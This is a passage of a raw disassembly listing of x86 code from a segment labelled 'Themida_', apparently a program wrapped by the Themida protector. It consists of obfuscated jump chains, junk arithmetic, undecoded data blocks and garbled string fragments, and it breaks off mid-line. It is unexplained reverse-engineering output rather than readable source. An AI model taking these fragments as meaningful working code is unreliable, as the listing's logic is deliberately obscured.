'©}IЙ',0 dd 895FFA29h, 957CE9D7h, 1C8B0000h, 4C48324h, 6769E9h db 0 ; --------------------------------------------------------------------------- loc_55B8B5: ; CODE XREF: Themida_:0055B4A6j pop edi push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] mov esp, [esp] xchg eax, [esp] pop esp mov [esp], ecx jmp loc_552BBB ; --------------------------------------------------------------------------- db 89h, 0F5h, 0FFh dd 0E95E2434h, 0FFFFDC23h, 4C48358h, 2805E9h db 0 ; --------------------------------------------------------------------------- loc_55B8E5: ; CODE XREF: Themida_:0056618Dj push ebx mov ebx, 16856313h add ebx, 5838D5A4h mov ecx, ebx pop ebx xor ecx, 59515C40h sub ecx, 617E62A0h xchg esi, ecx neg esi xchg esi, ecx push 613Fh mov [esp], edi jmp loc_566F37 ; --------------------------------------------------------------------------- loc_55B913: ; CODE XREF: Themida_:00553A3Bj and esi, 68977ABFh not esi jmp loc_55B2B8 ; --------------------------------------------------------------------------- dd 62E9D801h, 5CFFFFB0h, 562DEB81h, 0B9511857h, 0FF10393h dd 0C25E181h, 36E95DE8h, 870000ACh, 248B240Ch, 0ADE95224h dd 83000034h, 8B042404h, 8957240Ch, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0BE3BE95Ch, 0EC810000h, 4, 0B8240489h dd 4, 8158C501h, 4ECh, 241C8900h, 579F68h, 243C8900h, 4D1BE9h dd 4BA00h, 8DE90000h db 71h, 2 dup(0) byte_55B99B db 0FFh ; DATA XREF: Themida_:00552984o dd 0C8B2434h, 0E9545524h, 68BBh, 4D91ED81h, 0C5817682h dd 0AADBAF77h, 0E95DEA01h, 0AF53h, 582414F7h, 21F78197h dd 1ECFC59h, 0D8015FFBh, 2E8835Bh, 0E9240433h, 3234h, 6824048Bh dd 30Bh, 54243C89h, 97DDE95Fh, 0D1B9FFFFh, 0E97ABA04h dd 0B16Eh, 3D21BB53h, 0DD093F74h, 83241C8Bh, 0EC8104C4h dd 4, 0BE243489h, 585D2ECFh, 0F702EEC1h, 0A3E681D6h, 0C1448440h dd 0C68104E6h, 780B8007h, 575EF501h, 216E55BFh, 0B998E923h dd 8966FFFFh, 8956240Ch, 4C681E6h, 83000000h, 0FAE904EEh dd 8B000015h, 8953241Ch, 4C381E3h, 81000000h, 4C3h, 0EEEE900h dd 34FF0000h, 240C8B24h, 9507E9h, 2E2B0D00h, 7DE97025h dd 5C000072h, 3DB8505Fh, 313CCC85h, 568AE9C1h, 8B660000h dd 0EC812404h, 4, 0E9240489h, 44CCh ; --------------------------------------------------------------------------- loc_55BA94: ; CODE XREF: Themida_:00557319j mov ebp, esp push esi jmp loc_567301 ; --------------------------------------------------------------------------- dd 4C581h, 0C5810000h, 2, 0E9242C87h, 77AEh ; --------------------------------------------------------------------------- loc_55BAB0: ; CODE XREF: Themida_:0055E123j mov [esp], ebx push eax mov ah, 0DCh shl ah, 2 shr ah, 3 push ebx mov bh, 0FBh sub esp, 4 mov [esp], edx mov dl, 0C8h push cx mov ch, dl not ch jmp loc_56451E ; --------------------------------------------------------------------------- db 5, 0B5h, 55h dd 0F2E93809h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BADF: ; CODE XREF: Themida_:0055FEC3j pop edi push edx mov edx, 7E6C4C0Fh jmp loc_5603F2 ; --------------------------------------------------------------------------- db 2Dh dd 6F445397h, 9705D029h, 566F4453h, 0D408A3BEh, 14A7E918h dd 0E5C10000h, 0E8F58107h, 0E92FA751h, 0B0F5h ; --------------------------------------------------------------------------- loc_55BB10: ; CODE XREF: Themida_:00565872j push edi mov edi, 4 sub esi, edi pop edi jmp loc_5573A1 ; --------------------------------------------------------------------------- word_55BB1E dw 34FFh ; DATA XREF: Themida_:00552A30o dd 24048B24h, 0AC52E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB2A: ; CODE XREF: Themida_:00554B30j mov esi, ebp pop ebp mov eax, [esp] add esp, 4 add esi, 0CCC6DEA9h sub ebp, 74A13BDFh jmp loc_553384 ; --------------------------------------------------------------------------- dd 0FFFFC181h, 9E9FFFFh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB4F: ; CODE XREF: Themida_:00554D9Dj push eax push edx mov dh, bh mov ah, dh jmp loc_55CA25 ; --------------------------------------------------------------------------- loc_55BB5A: ; CODE XREF: Themida_:0056740Dj pop esp add ebp, 4 jmp loc_553727 ; --------------------------------------------------------------------------- dw 3C89h dd 4BF24h, 89550000h, 72F2E9FDh, 3C89FFFFh, 4EBA5224h dd 0BF143A15h, 0EBC5EAB4h, 0E95AD701h, 0B993h ; --------------------------------------------------------------------------- loc_55BB8C: ; CODE XREF: Themida_:005629FDj xchg edi, [esp] pop esp mov cl, dl jmp loc_565190 ; --------------------------------------------------------------------------- db 5Ah dd 4EC81h, 34890000h, 1A93BE24h, 4FE9702Dh, 93h, 0D9C380C3h dd 0E971B050h, 0FFFF9E5Bh, 0E9E28952h, 8D97h ; --------------------------------------------------------------------------- loc_55BBC0: ; CODE XREF: Themida_:0055946Bj add bl, 51h and dl, bl mov ebx, [esp] add esp, 4 push eax jmp loc_567123 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 956EE924h, 0C3810000h, 199F38E4h dd 7A2BC381h, 4CE9D935h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBF3: ; CODE XREF: Themida_:00553A63j add esp, 4 xchg ecx, [esp] jmp loc_560D08 ; --------------------------------------------------------------------------- db 5Eh, 52h, 0BAh dd 4, 148BD501h, 6F38E924h, 0A4E90000h db 6Fh, 2 dup(0FFh) byte_55BC17 db 0FFh ; DATA XREF: Themida_:00552B04o dd 9CE92C77h, 81FFFF6Fh, 0A41E93C5h, 79F1E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC2A: ; CODE XREF: Themida_:00557434j mov [esp], ecx push eax jmp loc_55C41E ; --------------------------------------------------------------------------- db 83h dd 0AF6804C4h, 89000034h, 0E589242Ch, 4C581h, 0ED810000h dd 4, 31242C33h, 2C33242Ch, 3C895C24h, 835F5024h, 348904ECh dd 4EC8324h, 89240C89h, 309AE9E1h, 0D9B10000h, 8012EB80h dd 0CB2819EBh, 8019C380h, 8B6612C3h, 0C483240Ch, 0FF21E902h dd 5E5FFFFFh, 815BD901h, 0F52263C1h, 81F90147h, 0F52263E9h dd 0FAE98147h, 0E9695914h, 0ABDAh, 0C181E189h, 4, 0FF9FF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BCB5: ; CODE XREF: Themida_:00558DAAj inc ebx push edx mov edx, 0FFFFFFFFh jmp loc_554025 ; --------------------------------------------------------------------------- db 2Dh, 93h, 1 dd 0C7018D1Fh, 8124048Bh, 4C4h, 0B33DE900h, 685FFFFFh dd 530Ah, 56243C89h, 0B1311268h, 24348B5Ch, 0C104C483h dd 0FCE908EEh, 0BE00003Fh, 4, 3066E9h, 24048100h, 4, 0E924148Bh dd 0FFFF6FB5h, 0D8277235h, 0C82E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BD16: ; CODE XREF: Themida_:0055F58Cj mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push 1221h jmp loc_5566F1 ; --------------------------------------------------------------------------- byte_55BD49 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005529B0o dd 4EC8324h, 89241489h, 5BB53E2h, 0F7677A51h, 0AEB81D3h dd 8137255Fh, 736B93F3h, 67F38116h, 1771324h, 0D7E95BDAh dd 68000084h, 57FEh, 68241C89h, 4, 245C015Bh, 241C8B04h dd 4C481h, 34FF0000h, 0C4815A24h, 4, 6666E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BDA2: ; CODE XREF: Themida_:00563444j pop edi jmp loc_557F5D ; --------------------------------------------------------------------------- loc_55BDA8: ; CODE XREF: Themida_:00564C99j add esp, 4 mov esi, 0F083CB5Dh add esi, edx pop edx push eax mov eax, esi push eax pop edx mov eax, [esp] jmp loc_563826 ; --------------------------------------------------------------------------- loc_55BDC3: ; CODE XREF: Themida_:0055FFC7j push ebx push ebp mov ebp, 149F19C7h and ebp, 6B936440h sub ebp, 1 sub ebp, 0A1DAE58Ah jmp loc_56678C ; --------------------------------------------------------------------------- loc_55BDDE: ; CODE XREF: Themida_:0055499Aj dec esi jmp loc_55716D ; --------------------------------------------------------------------------- dd 0BD55E801h, 11D35D56h, 47E1C581h, 0E5C17FDEh, 3ED8102h dd 56115B26h, 5410E9h, 240C8900h, 0C181E189h, 4, 46850h dd 1580000h, 0AA53E9C1h db 2 dup(0) word_55BE1A dw 478Fh ; DATA XREF: Themida_:00552B30o dd 6D99E940h, 0FBBDFFFFh, 81341408h, 4ECh, 240C8900h, 413EE9h db 0 ; --------------------------------------------------------------------------- loc_55BE35: ; CODE XREF: Themida_:005653A3j mov edi, 44E72EA4h sub edi, 2E3E765h add edx, edi jmp loc_55C4C1 ; --------------------------------------------------------------------------- aS_9 db 'яЙИ',0Ah db ']',0 align 2 loc_55BE4E: ; CODE XREF: Themida_:0055469Ej mov dl, ch mov ecx, [esp] jmp loc_55F182 ; --------------------------------------------------------------------------- dd 0D0B1C181h, 0CF891141h, 0FF7605E9h, 0B5C780FFh, 2810F780h dd 2434FFFEh, 83241C8Bh, 0C48304C4h, 2EC8104h, 66000000h dd 0B4240489h, 0A542E9FAh db 2 dup(0) word_55BE8A dw 8F64h ; DATA XREF: Themida_:00552AA0o dd 6D29E902h, 1433FFFFh, 9FE95C24h, 4A000000h, 2CEBF281h dd 0D2F7464Eh, 0B261E9h db 0 ; --------------------------------------------------------------------------- loc_55BEA9: ; CODE XREF: Themida_:005584BBj pop dx sub cl, 4Bh shr cl, 6 jmp loc_556062 ; --------------------------------------------------------------------------- dw 0FB01h dd 0ABE9525Fh, 83FFFFE7h, 0C8B04C4h, 4C48124h, 0E9000000h dd 0FFFF6CEBh, 0E9242C89h, 76FEh, 0EC81505Bh, 4, 0BD242C89h dd 7DBD1953h, 0BD1955B8h, 85B0E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEF2: ; CODE XREF: Themida_:0055C6C6j mov bl, 0BFh sub dl, bl pop ebx and dl, 66h shl dl, 6 jmp loc_553391 ; --------------------------------------------------------------------------- loc_55BF02: ; CODE XREF: Themida_:005558B4j pop ebx loc_55BF03: ; CODE XREF: Themida_:loc_55E22Cj push 6764h mov [esp], ebx jmp loc_562827 ; --------------------------------------------------------------------------- dd 0FD89F789h, 0E92434FFh, 4640h ; --------------------------------------------------------------------------- loc_55BF1C: ; CODE XREF: Themida_:00565E95j mov [esp], esi mov esi, 4 jmp loc_55C15F ; --------------------------------------------------------------------------- db 5Bh, 80h, 0C2h dd 8E3BE9FAh, 0C6800000h, 0D7EBE901h, 3487FFFFh, 0A59BE924h dd 0C209FFFFh, 0C5F28158h, 681FE812h, 4843h, 0FFEC1CE9h dd 20F181FFh, 51513C2Eh, 5A355958h, 0C11B6D25h, 33508E8h dd 81006BF4h, 0C54652EDh, 81C50103h, 0C54652C5h, 2C335803h dd 242C3124h, 0E9242C33h, 0FFFF766Ah, 0C181E189h, 4, 8704C183h dd 535C240Ch, 0F7242C87h, 242C87D5h, 5853505Bh, 0C7B9515Bh dd 10BB170h, 484059C8h, 2414F750h, 0FFFF2D58h, 6D05FFFFh dd 0E9A5D451h, 4225h, 9BD555Bh, 0C150B635h, 0E5C105EDh dd 0B5E94D04h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BFD7: ; CODE XREF: Themida_:0055D8DBj mov ebp, [esp] push ebp jmp loc_55D23D ; --------------------------------------------------------------------------- loc_55BFE0: ; CODE XREF: Themida_:00564E01j push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_561BF2 ; --------------------------------------------------------------------------- db 0BAh, 33h, 54h dd 50E955FEh, 6800004Fh, 4, 8124148Bh, 4C4h, 0F1EF8100h dd 81502B41h, 0DC3A4AC7h, 81D7014Bh, 0DC3A4AEFh, 6EBD554Bh dd 0F7165F7Eh, 0D4C581D5h, 813FBF3Eh, 748194F5h, 0E9EF0179h dd 0FFFF8F70h ; --------------------------------------------------------------------------- loc_55C034: ; CODE XREF: Themida_:0055D76Aj dec edx push esi jmp loc_567008 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 8904EC83h, 0C8B2414h, 21E95224h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C053: ; CODE XREF: Themida_:0056220Fj not edi jmp loc_557C40 ; --------------------------------------------------------------------------- loc_55C05A: ; CODE XREF: Themida_:005542B9j pop edx shl ecx, 1 push edx mov edx, 4A546E94h xor ecx, edx pop edx dec ecx neg ecx xor ecx, 0BB2A6496h add eax, ecx pop ecx dec eax not eax shr eax, 2 xor eax, 47D12D11h sub eax, 0ECD0CDF9h add ebx, eax pop eax shl ebx, 3 add ebx, 1 jmp loc_5554D3 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 572DE9h, 240C8900h, 525181B5h, 53DEB551h dd 0FA88EF88h, 0B028E95Bh, 5743FFFFh, 414CE9h, 21C86800h dd 2C890000h, 32C8BD24h, 0C5836EA4h, 7EC58101h, 0E981C1ABh dd 0FFFF6EC2h, 81241C8Bh, 4C4h, 42816800h, 14890000h, 0D4B85024h dd 51147B74h, 737B6FB9h, 69DBA60h, 0CA294BF8h, 83240C8Bh dd 0C20104C4h, 8324048Bh, 1AE904C4h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C10F: ; CODE XREF: Themida_:00552DB5j mov esi, 21F05FCh xor esi, edi mov edi, [esp] add esp, 4 xor esi, 43207FFh sub esi, 1 shl esi, 8 xor esi, 167C1456h jmp loc_55E1D6 ; --------------------------------------------------------------------------- dw 0D7F7h dd 0C283FA87h, 0E9D2F7FFh, 6CDBh, 98B29EB3h, 0C9E9DA30h dd 53FFFFD0h, 491D28BBh, 0C1D3F704h, 0CDE905E3h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C15F: ; CODE XREF: Themida_:0055BF24j push esi add dword ptr [esp], 63BC790Ah pop ebp sub ebp, 63BC790Ah push dword ptr [esp] pop esi jmp loc_55AF6E ; --------------------------------------------------------------------------- loc_55C177: ; CODE XREF: Themida_:00564651j add eax, 50EB0EE4h jmp loc_55D913 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 4, 4C581h, 2C870000h, 835F5C24h, 348702EEh, 89665C24h dd 18E9240Ch, 8BFFFF6Ah, 36E92414h, 89FFFFB4h, 0BD55243Ch dd 6F166522h, 565D5F55h, 6A62E9h, 64EE8100h, 583F9102h dd 5962CE81h, 0A5E96854h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1CF: ; CODE XREF: Themida_:0055D5F4j add ecx, 4 jmp loc_55F51C ; --------------------------------------------------------------------------- loc_55C1DA: ; CODE XREF: Themida_:00553578j xchg edx, esi jmp loc_553A9F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Dh, 4BBFBF57h, 0F9212CDAh, 0F181415Fh, 19EA2264h dd 2D59C801h, 56751023h, 0EC81D829h, 4, 9CABE9h db 0 ; --------------------------------------------------------------------------- loc_55C20D: ; CODE XREF: Themida_:0056271Cj pop edx xchg ebx, [esp] pop esp mov [esp], eax mov eax, 50093880h xor ecx, eax pop eax mov esi, ecx pop ecx and ecx, esi pop esi shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_55C984 ; --------------------------------------------------------------------------- dw 0EDB9h dd 316A8E36h, 0C28159CAh, 32FBCC75h, 0CE67DC05h, 7DACE96Ch db 2 dup(0FFh) word_55C246 dw 8B66h ; DATA XREF: Themida_:0055293Co dd 0EC81240Ch, 4, 89241489h, 0BE5653E2h, 387962CDh, 0E9FE874Eh dd 0FFFFD76Bh ; --------------------------------------------------------------------------- loc_55C264: ; CODE XREF: Themida_:00565988j push edx mov edx, 5B724B5Bh not edx shl edx, 3 push edx not dword ptr [esp] jmp loc_55D4F3 ; --------------------------------------------------------------------------- dd 0E908E3C1h, 0FFFFBFEFh, 3304C483h, 3C31243Ch, 243C3324h dd 6624248Bh, 9C242CD3h, 0FF6922E9h, 0BFC281FFh, 0E928E060h dd 0FFFFB144h, 0EB81FB01h, 15EA4E27h, 240C8B5Fh, 0AE69E956h dd 0E929FFFFh, 2B4E981h, 2C8B73FBh, 0E7895724h, 4C781h dd 0C7810000h, 4, 0FFADF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C2D5: ; CODE XREF: Themida_:005625E0j mov [esp], esi jmp loc_55E38B ; --------------------------------------------------------------------------- align 2 dw 66F8h aSu db '[ИЦЁ',0 db 2 dup(0), 0EBh dd 81240C8Bh, 4C4h, 0C7EB8000h, 0B450C300h, 66D4F67Eh dd 28000068h, 248A2424h, 0BDE95524h, 0B5000068h, 66C5FE7Eh dd 1779E950h, 8B5F0000h, 0C483240Ch, 0B2EAE904h, 0F0010000h dd 11B2055Eh, 0C80105E0h, 0E011B22Dh, 4260E905h, 0BD550000h dd 66BD5823h, 32DFE9h db 0 ; --------------------------------------------------------------------------- loc_55C341: ; CODE XREF: Themida_:00557737j mov edi, 74332BA5h jmp loc_56800A ; --------------------------------------------------------------------------- loc_55C34B: ; CODE XREF: Themida_:0055EB5Ej mov [esp], edi jmp loc_55B7EC ; --------------------------------------------------------------------------- loc_55C353: ; CODE XREF: Themida_:00557EFDj sub ebx, ebp push dword ptr [esp] pop ebp add esp, 4 sub ebx, 1AEF0E70h add ebx, edi add ebx, 1AEF0E70h push ecx mov ecx, 4D5D03AEh jmp loc_55A870 ; --------------------------------------------------------------------------- loc_55C378: ; CODE XREF: Themida_:0055D1EFj and edx, 764F3FDFh add edx, 9DF8C8A0h add edx, edi push eax jmp loc_556EF1 ; --------------------------------------------------------------------------- dd 8324048Fh, 5B042404h, 1247BD55h, 0EAE91963h, 51FFFF92h dd 0D472D8B9h, 0BCF9E96Ah, 14330000h, 3AB1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C3B2: ; CODE XREF: Themida_:0055916Fj push edx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push ecx mov ecx, 72941460h or ecx, 79952713h add ecx, 0B4365EFh dec ecx add ecx, 792762A3h sub eax, ecx pop ecx jmp loc_554DF5 ; --------------------------------------------------------------------------- loc_55C3E1: ; CODE XREF: Themida_:0055A12Aj and ecx, 369A00FFh xor ecx, 7802201Ah inc ecx xor ecx, 2FD243BEh xor ebx, ecx jmp loc_55A4EB ; --------------------------------------------------------------------------- db 8Bh dd 5452240Ch, 8324148Bh, 0BF5704C4h, 2CD900F4h, 7D80BA52h dd 76E94F03h, 30000007h, 5418E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C41E: ; CODE XREF: Themida_:0055BC2Ej push esp pop eax add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] mov [esp], edi push edx mov edx, 72A97162h mov edi, edx pop edx mov ecx, 8D568E9Eh sub ecx, 3C6354CCh add ecx, edi jmp loc_559D54 ; --------------------------------------------------------------------------- dw 0C87h dd 87D1F724h, 148B240Ch, 4C48324h, 6FFB68h, 24048900h dd 5B31BB53h, 0B9513F02h, 621E146Fh, 384FE181h, 0B1E943ADh dd 81FFFFF2h, 0AB1899EBh, 0DE015F4Ch, 0ADE94E5Bh db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C48F: ; CODE XREF: Themida_:00557CF2j xor ecx, [esp] pop esp jmp loc_55E47C ; --------------------------------------------------------------------------- loc_55C498: ; CODE XREF: Themida_:00565C12j mov [esp], eax jmp loc_555AE1 ; --------------------------------------------------------------------------- loc_55C4A0: ; CODE XREF: Themida_:00553DCBj mov edx, 504B0B29h push edi mov edi, 283D4450h add edx, edi jmp loc_566BCB ; --------------------------------------------------------------------------- dw 0D2F7h aZSP db '┤сИ|P',0 dw 5800h dd 0FFF772E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C4C1: ; CODE XREF: Themida_:0055BE42j pop edi inc edx xor edx, 0FFF4AD59h sub ebx, edx pop edx add ebx, edi push esi mov esi, 1E3F0079h add ebx, esi mov esi, [esp] add esp, 4 sub ebx, 368670E8h jmp loc_557D70 ; --------------------------------------------------------------------------- loc_55C4E7: ; CODE XREF: Themida_:005664CFj or ebp, 44D60F2Ah sub ebp, 2A3970ACh or ebp, 54481A28h add ebp, 7D833153h sub ebp, 2E9B79C7h sub ebp, 638F2D22h add edi, ebp mov ebp, [esp] add esp, 4 inc edi and edi, 75992077h sub edi, 57677590h add edi, 56BD5F11h add edi, 0E65661CAh jmp loc_5628C9 ; --------------------------------------------------------------------------- loc_55C534: ; CODE XREF: Themida_:00567DBBj push esp pop ecx add ecx, 4 add ecx, 4 push ecx jmp loc_563864 ; --------------------------------------------------------------------------- loc_55C545: ; CODE XREF: Themida_:00565D5Dj pop ebx push eax mov al, dh mov [ebx], al pop eax jmp loc_560CE8 ; --------------------------------------------------------------------------- a_Hf3 db '_]h■3',0 align 4 dd 0BE243489h, 52142D2Dh, 0F51FC681h, 0ED812C37h, 5B9D6114h dd 8ED1E9h, 0C5885100h, 5859EE88h, 0E959EE30h, 0FFFFDB08h dd 5A2434FFh, 45AAE9h, 17FB800h, 0C8E91CE5h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C593: ; CODE XREF: Themida_:0055A4A1j add ebp, 6816F182h add esi, ebp pop ebp sub eax, 44ED59A1h sub eax, esi add eax, 44ED59A1h pop esi or edx, eax jmp loc_5635AE ; --------------------------------------------------------------------------- dd 8904EC83h, 268240Ch, 59000000h, 0E959CE29h, 0FFFF689Ch dd 2474FF57h, 5AE95F04h, 5F000083h, 0B850F529h, 4BD15478h dd 5E58C501h, 2C8BEA31h, 4EC8124h, 89000000h, 0E6892434h dd 4C681h, 46E90000h, 5A0000BCh, 5B66FE30h, 0FF8EB5E9h dd 241489FFh, 2CBF57h, 0E9570000h, 0FFFF81BFh, 0BA241489h dd 45402647h, 0DD16EA81h, 0D009DAABh, 0A4E5E9h db 0 ; --------------------------------------------------------------------------- loc_55C625: ; CODE XREF: Themida_:0055DAC3j push 39AEh jmp loc_56332A ; --------------------------------------------------------------------------- byte_55C62F db 66h ; DATA XREF: Themida_:00552910o dd 6824048Bh, 61B2h, 54241489h, 8EBD555Ah, 0E95A5E18h dd 81E4h dword_55C648 dd 24143166h, 24143366h, 24143166h, 8F89E9h, 81E92900h ; DATA XREF: Themida_:00552B10o dd 946606C1h, 51415D0Ch, 9549E9h db 0 ; --------------------------------------------------------------------------- loc_55C669: ; CODE XREF: Themida_:00563659j mov eax, [esp] push edx push esp jmp loc_552E01 ; --------------------------------------------------------------------------- db 0FFh a4S6i db '4$И6I',0 dw 5B00h dd 0E904EC83h, 0FFFFE840h, 4EC815Bh, 89000000h, 9AB02404h dd 6606E8C0h, 28000068h, 0EDE92404h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C69F: ; CODE XREF: Themida_:00564FA2j xchg eax, [esp] pop esp mov [esp], ebx push 5CD76490h jmp loc_55F300 ; --------------------------------------------------------------------------- loc_55C6B0: ; CODE XREF: Themida_:0055F193j shr bl, 2 or bl, 0C0h shl bl, 5 jmp loc_5589D7 ; --------------------------------------------------------------------------- loc_55C6BE: ; CODE XREF: Themida_:0055EA6Dj pop esp push eax jmp loc_55A4F3 ; --------------------------------------------------------------------------- loc_55C6C5: ; CODE XREF: Themida_:00564522j push ebx jmp loc_55BEF2 ; --------------------------------------------------------------------------- db 0BAh dd 36956757h, 0F75AD729h, 31F781DFh, 314FD17Eh, 0F7015FFEh dd 9E86E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C6E6: ; CODE XREF: Themida_:00564CF4j mov edx, ebp pop ebp sub edx, 1 or edx, 6C8A417Ah jmp loc_56245F ; --------------------------------------------------------------------------- loc_55C6FA: ; CODE XREF: Themida_:005625B0j xor ebx, 6FF15890h shl ebx, 6 push edx push ecx push 7F301CBCh mov ecx, [esp] add esp, 4 add ecx, 0A30A3866h mov edx, ecx jmp loc_56306F ; --------------------------------------------------------------------------- db 50h, 0E9h, 82h dd 59FFFF80h, 1458E9h, 3DC58000h, 0A4B25266h, 5A66D530h dd 0E9F4F580h, 21FAh, 4C481h, 0CE010000h, 83240C8Bh, 0D7E904C4h dd 5C000021h, 68243489h, 2DA3694h, 98B8505Eh, 2D57C358h dd 16E20061h, 0E958C631h, 2DFCh, 4E9E289h, 5700000Bh, 2BFh dd 5FFA0100h, 31241433h, 14332414h, 1B0DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C78A: ; CODE XREF: Themida_:00561F3Fj pop edx xchg ebp, [esp] pop esp add ebp, 2 push ebp push dword ptr [esp+4] jmp loc_5598D3 ; --------------------------------------------------------------------------- db 1 dd 2434FFFDh, 0E389535Fh, 0E904EC83h, 9B8Ch ; --------------------------------------------------------------------------- loc_55C7B0: ; CODE XREF: Themida_:00566059j push esi push 6E3Ch mov [esp], ecx mov ecx, 71C30187h push esi push edx jmp loc_55B529 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0EB810000h, 6B322C08h, 0C381FB01h, 6B322C08h, 241C875Fh dd 24048F5Ch, 924248Bh, 0E99C2404h, 0FFFF63CFh, 6509E951h dd 815FFFFFh, 4ECh, 242C8900h, 4BDh, 5DE90100h, 5C240C87h dd 553068h, 243C8900h, 6C69E9h, 240C3100h, 8B240C33h, 85662424h dd 94E99CC8h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C827: ; CODE XREF: Themida_:00562565j push 2ED2h mov [esp], eax push 4668h mov [esp], ebp mov ebp, 3481010Ah xor [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_553A40 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0DBh dd 29DD7BF3h, 242C8BEFh, 4C481h, 0EFC10000h, 0C9C78106h dd 1243B89h, 55E95FFBh db 0A4h, 2 dup(0FFh) byte_55C86B db 64h ; DATA XREF: Themida_:00552B24o dd 48E932FFh db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C873: ; CODE XREF: Themida_:0055539Ej mov edx, eax mov eax, [esp] add esp, 4 push 6D18h mov [esp], edx xor [esp], esi xor esi, [esp] xor [esp], esi not esi xor [esp], esi xor esi, [esp] xor [esp], esi push dword ptr [esp] mov edx, [esp] jmp loc_55F070 ; --------------------------------------------------------------------------- loc_55C8A5: ; CODE XREF: Themida_:00566167j push edx mov edx, 29B23BB5h push esi mov esi, 17193B0Ah and esi, 6E2C2175h sub esi, 0ACECFABCh or edx, esi pop esi add edx, 303615EBh jmp loc_556671 ; --------------------------------------------------------------------------- loc_55C8CB: ; CODE XREF: Themida_:005568D3j xchg eax, edx neg edx xchg eax, edx shr eax, 2 shr eax, 5 shl eax, 3 jmp loc_55F758 ; --------------------------------------------------------------------------- db 81h, 0CDh, 83h dd 50776501h, 0A143FEB8h, 0AE530506h, 0C50181F9h, 0FF70EFE9h dd 0CB015DFFh, 8BDE3159h, 0C483241Ch, 8BF30104h, 0F6E92434h dd 0C1FFFFB0h, 0D9F705E9h, 4053C181h, 0E6E92693h, 57000022h dd 862239BFh, 90F7817Dh, 81100802h, 0F224C4C7h, 69EF8151h dd 2DBF8045h, 5128002Ah, 41797D2Dh, 0E9F8012Dh, 907Bh dd 0E904EC83h, 0B5C8h, 5C241C87h, 0FFF8F381h, 0C1816C1Fh dd 171D7724h, 0ACE4E9h, 0E9EE0100h, 0FFFFCC1Ch, 81240C8Bh dd 4C4h, 5592E900h, 0E95C0000h, 0FFFF7C00h, 0E95DEE89h dd 607Eh ; --------------------------------------------------------------------------- loc_55C984: ; CODE XREF: Themida_:0055C229j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_556874 ; --------------------------------------------------------------------------- dd 34518025h, 16843508h, 80051BAFh, 29E464F9h, 148758C2h dd 35E95C24h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C9B3: ; CODE XREF: Themida_:0056041Dj sub [esp+4], ebx pop ebx sub [esp], ebx jmp loc_5553E8 ; --------------------------------------------------------------------------- dd 0B45634B8h, 58C7895Bh, 0DCE9FE29h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C9CF: ; CODE XREF: Themida_:005652CAj neg edx push edi jmp loc_55B300 ; --------------------------------------------------------------------------- loc_55C9D7: ; CODE XREF: Themida_:00556A88j mov ebp, 4 sub ebx, ebp pop ebp jmp loc_566612 ; --------------------------------------------------------------------------- dword_55C9E4 dd 813C77FFh, 65C1242Ch, 0D1E91CC1h, 5EFFFF9Dh, 81E18951h ; DATA XREF: Themida_:00552ACCo dd 4C1h, 99BFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA02: ; CODE XREF: Themida_:00561383j pop ebp add esp, 4 shr eax, 0Ah xor eax, ecx push 5580h mov [esp], eax xchg ecx, [esp] jmp loc_56544D ; --------------------------------------------------------------------------- aYSgc db 'Y[ИG≈',0 db 0 ; --------------------------------------------------------------------------- loc_55CA25: ; CODE XREF: Themida_:0055BB55j pop edx mov dh, ah jmp loc_565D5C ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 0E9240487h, 9369h, 283A8FBDh, 2EBF5768h, 81274B55h dd 335CFE7h, 0C1D7F746h, 0C78104E7h, 43A32198h, 565FFD01h dd 0DDBA5257h, 0F745D633h, 23E281D2h, 0E926BA01h, 0FFFF82AFh dd 